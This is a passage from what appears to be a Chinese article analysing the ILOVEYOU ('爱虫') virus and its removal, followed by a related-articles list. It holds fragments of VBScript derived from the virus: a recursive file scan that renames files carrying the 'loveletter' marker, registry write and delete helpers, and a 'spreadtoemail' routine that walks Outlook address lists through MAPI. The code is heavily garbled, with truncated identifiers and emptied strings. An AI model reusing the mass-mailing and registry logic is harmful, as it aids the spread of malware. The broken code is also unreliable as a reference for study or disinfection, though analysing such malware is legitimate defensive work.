2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="jpg") or (ext="jpeg") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="mp3") or (ext="mp2") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (eq<>folderspec) then </p><p style="text-indent: 2em;font-size:18px;">if (s="") or (s="") or (s="") or </p><p style="text-indent: 2em;font-size:18px;">(s="") or </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">(s="") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(folderspec&"") </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved "&folderspec&" </p><p style="text-indent: 2em;font-size:18px;">to",folderspec&""&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq=folderspec </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub folderlist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,sf,tf </p><p style="text-indent: 2em;font-size:18px;">If Len(folderspec) > 55 Then </p><p style="text-indent: 2em;font-size:18px;">tf = "..." & Right(folderspec,55) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Else </p><p style="text-indent: 2em;font-size:18px;">tf = folderspec </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">ine " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set sf = ders </p><p style="text-indent: 2em;font-size:18px;">for each f1 in sf </p><p style="text-indent: 2em;font-size:18px;">infectfiles() </p><p style="text-indent: 2em;font-size:18px;">folderlist() </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regdelete(regkey) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">ete regkey </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regwrite(regkey,regvalue) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">te regkey,regvalue </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function regget(value) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">regget=d(value) </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function fileexist(filespec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (ists(filespec)) Then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function folderexist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (derExists(folderspec)) then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad </p><p style="text-indent: 2em;font-size:18px;">set regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">x=1 </p><p style="text-indent: 2em;font-size:18px;">regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB</p><p style="text-indent: 2em;font-size:18px;">"&a) </p><p style="text-indent: 2em;font-size:18px;">if (regv="") then </p><p style="text-indent: 2em;font-size:18px;">regv=1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (int()>int(regv)) then </p><p style="text-indent: 2em;font-size:18px;">for ctrentries=1 to </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">malead=sEntries(x) </p><p style="text-indent: 2em;font-size:18px;">regad="" </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead </p><p style="text-indent: 2em;font-size:18px;">x=x+1 </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">Set out=Nothing </p><p style="text-indent: 2em;font-size:18px;">Set mapi=Nothing </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub html </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set b=e(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;">-- </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p></div><br><p><h2></h2></p> <!-- 附件 --> <p class="tag"> 本文标签: <a style="margin-right: 10px" href="/tag/189.html" target="_blank">病毒</a> <a style="margin-right: 10px" href="/tag/175.html" target="_blank">文件</a> <a style="margin-right: 10px" href="/tag/186.html" target="_blank">程序</a> <a style="margin-right: 10px" href="/tag/223.html" target="_blank">大家</a> <a style="margin-right: 10px" href="/tag/371.html" target="_blank">没有</a> </p> <div class="roclinux-cn copyright"> <blockquote> <p> 版权声明:本文标题:“爱虫(I_Loveyou)”病毒代码解析和杀毒方法 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:<a href="http://www.roclinux.cn/p/1715901859a689949.html">http://www.roclinux.cn/p/1715901859a689949.html</a>, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。 </p> </blockquote> </div> </div> <div class="roclinux-cn block-wrap single-relative"> <h2 class="block-title"> 更多相关文章 </h2> <div class="roclinux-cn post-list"> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774291049a3570040.html" title="电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774291049a3570040.html" class="post-item-title" title="电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾"> <h3>电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">随着电脑使用频率增加,各类 “数字垃圾” 正悄然占据磁盘空间,成为设备卡顿、运行变慢的核心诱因之一。这些垃圾并非传统意义上的废弃文件,而是系统与软件在运行中自然产生的冗余数据,比如浏览网页时缓存的图片视频、软件安装与更新留下的残留文件</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774291582a3570047.html" title="电脑垃圾清理软件,怎么样清除电脑c盘垃圾">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑垃圾清理软件,怎么样清除电脑c盘垃圾">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774291582a3570047.html" class="post-item-title" title="电脑垃圾清理软件,怎么样清除电脑c盘垃圾"> <h3>电脑垃圾清理软件,怎么样清除电脑c盘垃圾</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">电脑垃圾清理软件,在我们的日常生活中,电脑已经成为必不可少的工具。然而,随着时间的推移,电脑的运行速度可能会因为C盘的垃圾积累而变慢。为了保持电脑的最佳性能,定期清理C盘垃圾是非常必要的。现在,让我们来看看如何使用电脑垃圾清理软件来清</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774304030a3570188.html" title="解决无法显示所有文件和文件夹,无法显示隐藏文件和文件夹_dontshowsuperhidden">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="解决无法显示所有文件和文件夹,无法显示隐藏文件和文件夹_dontshowsuperhidden">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774304030a3570188.html" class="post-item-title" title="解决无法显示所有文件和文件夹,无法显示隐藏文件和文件夹_dontshowsuperhidden"> <h3>解决无法显示所有文件和文件夹,无法显示隐藏文件和文件夹_dontshowsuperhidden</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">无法显示所有文件和文件夹,无法显示隐藏文件和文件夹今日,在公司用的电脑中毒了,按照往常习惯,在文件夹选项中设置显示所有文件和文件。可今天却不听话了,将文件夹选项中选成“显示所有文件和文件夹”,但按确定后,仍然显示不了隐藏文</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774306905a3570220.html" title="Windows虚拟机中镜像文件_虚拟机镜像iso文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Windows虚拟机中镜像文件_虚拟机镜像iso文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774306905a3570220.html" class="post-item-title" title="Windows虚拟机中镜像文件_虚拟机镜像iso文件"> <h3>Windows虚拟机中镜像文件_虚拟机镜像iso文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">访问微软官方Windows 10下载页面:https: 点击“立即下载工具”按钮,下载 。这是一个小型应用程序,用于帮助用户创建Windows 10安装介质。 运</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774342818a3570636.html" title="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774342818a3570636.html" class="post-item-title" title="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4"> <h3>将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">建议先看疑问解答,否则可能会出现棘手的问题。 一、DVD和VCD等光碟播放设备①光盘播放机,例如先锋②带有光驱的笔记本或台式电脑,现在基本已被淘汰③外置光驱:可通过USB数据线(设备自</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774372276a3570976.html" title="病毒利用autorun.inf做了什么_autorun.inf利用">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="病毒利用autorun.inf做了什么_autorun.inf利用">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774372276a3570976.html" class="post-item-title" title="病毒利用autorun.inf做了什么_autorun.inf利用"> <h3>病毒利用autorun.inf做了什么_autorun.inf利用</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">病毒作者可以利用autorun.inf的自动功能,让移动设备在用户系统完全不知情的情况下,“自动”执行任何命令或应用程序。因此,通过这个autorun.inf文件,可以放置正常的启动程序,如我们经常使用的各种教学光盘,一插入电脑就自动</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774373347a3570990.html" title="utorun.inf病毒查杀:教你清除autorun.inf病毒_autorun.inf 专杀">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="utorun.inf病毒查杀:教你清除autorun.inf病毒_autorun.inf 专杀">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774373347a3570990.html" class="post-item-title" title="utorun.inf病毒查杀:教你清除autorun.inf病毒_autorun.inf 专杀"> <h3>utorun.inf病毒查杀:教你清除autorun.inf病毒_autorun.inf 专杀</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">预防的办法U盘带毒给你的计算机及解决中毒方法: 1、在插入U盘时按住键盘“shift”键,直到提示“设备可以使用”,即可松开“shift”键,在打开U盘时不要双击打开,也不要用右键菜单的“打开”选项打开,而应使用资源管理器</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774373654a3570994.html" title="SysAnti.exe和autorun.inf病毒的查杀_sysanti.exe查杀">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="SysAnti.exe和autorun.inf病毒的查杀_sysanti.exe查杀">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774373654a3570994.html" class="post-item-title" title="SysAnti.exe和autorun.inf病毒的查杀_sysanti.exe查杀"> <h3>SysAnti.exe和autorun.inf病毒的查杀_sysanti.exe查杀</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">今天我用学校的电脑,U盘中毒,根文件夹下有SysAnti.exe和autorun.inf两个文件,无法删除(删除后自动生成),从网上找了一些方法: SysAnti.exe发作后,无法打开任何杀毒软件,而且直接删除SysAnti</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774383216a3571106.html" title="电脑用久了又卡又慢,教你一招让你电脑调整为最佳性能_电脑卡顿怎么办教你一招恢复流畅">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑用久了又卡又慢,教你一招让你电脑调整为最佳性能_电脑卡顿怎么办教你一招恢复流畅">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774383216a3571106.html" class="post-item-title" title="电脑用久了又卡又慢,教你一招让你电脑调整为最佳性能_电脑卡顿怎么办教你一招恢复流畅"> <h3>电脑用久了又卡又慢,教你一招让你电脑调整为最佳性能_电脑卡顿怎么办教你一招恢复流畅</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">9天前</div> </div> <p class="post-item-summary">我相信每个人都有这样的经历。电脑用久了卡顿、变慢怎么办?教你学会这些操作,瞬间提升电脑速度,让我们来看看。 方法一:清理磁盘空间 电脑死机很可能是因为C盘空间不足,长期使用会产生大量的缓存垃圾。因此,您需要打开【本电脑</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774461716a3571436.html" title="EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774461716a3571436.html" class="post-item-title" title="EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!"> <h3>EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">简介:EasyRecovery是一款为Windows用户打造的高效文件恢复工具,可轻松找回误删除或丢失的重要数据。软件操作简便,界面直观,适合所有层次的用户使用。其核心功能包括深度扫描未实际删除的文件、支持多种文件格式恢复,并提供文件</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774463105a3571454.html" title="EasyRecovery实战指南:从新手到高手,Windows文件恢复轻松搞定!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="EasyRecovery实战指南:从新手到高手,Windows文件恢复轻松搞定!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774463105a3571454.html" class="post-item-title" title="EasyRecovery实战指南:从新手到高手,Windows文件恢复轻松搞定!"> <h3>EasyRecovery实战指南:从新手到高手,Windows文件恢复轻松搞定!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">简介:EasyRecovery是一款为Windows用户打造的高效文件恢复工具,可轻松找回误删除或丢失的重要数据。软件操作简便,界面直观,适合所有层次的用户使用。其核心功能包括深度扫描未实际删除的文件、支持多种文件格式恢复,并提供文件</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774468982a3571516.html" title="笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774468982a3571516.html" class="post-item-title" title="笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!"> <h3>笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">笔记本Windows10函数不正确?这里有解决方法在Windows10操作系统的使用过程中,许多笔记本电脑用户可能会遇到“函数不正确”的错误提示,这不仅影响了用户的正常使用,还可能导致一些关键功能无法正常运行。面对这种情</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774469663a3571525.html" title="Windows10与笔记本配合时函数紊乱?轻松搞定指南">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Windows10与笔记本配合时函数紊乱?轻松搞定指南">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774469663a3571525.html" class="post-item-title" title="Windows10与笔记本配合时函数紊乱?轻松搞定指南"> <h3>Windows10与笔记本配合时函数紊乱?轻松搞定指南</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">笔记本Windows10函数不正确?这里有解决方法在Windows10操作系统的使用过程中,许多笔记本电脑用户可能会遇到“函数不正确”的错误提示,这不仅影响了用户的正常使用,还可能导致一些关键功能无法正常运行。面对这种情</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774484254a3571693.html" title="面对wpcap.dll缺失?立即采取行动,确保网络监控工具有效运行">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="面对wpcap.dll缺失?立即采取行动,确保网络监控工具有效运行">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774484254a3571693.html" class="post-item-title" title="面对wpcap.dll缺失?立即采取行动,确保网络监控工具有效运行"> <h3>面对wpcap.dll缺失?立即采取行动,确保网络监控工具有效运行</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">wpcap.dll是Windows系统中用于网络数据包捕获的关键文件,缺失或损坏会影响网络监控工具的运行。以下是针对缺少wpcap.dll文件的最新修复方法: 一、重新安装WinPcap或Npcap访问WinPca</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774484937a3571702.html" title="告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774484937a3571702.html" class="post-item-title" title="告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法"> <h3>告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">WinPcap.exe:解决wpcap.dll缺失问题 在此提供的WinPcap.exe文件,主要用于解决在部分Windows操作系统中出现的【wpcap.dll】缺失问题。该问题可能导致一些网络相关的软件无法正常运行,出现错</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774485241a3571706.html" title="从卡顿到流畅,解决网络监控应用中wpcap.dll问题的快速教程">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="从卡顿到流畅,解决网络监控应用中wpcap.dll问题的快速教程">--> <!-- </a>--> <!-- <ul 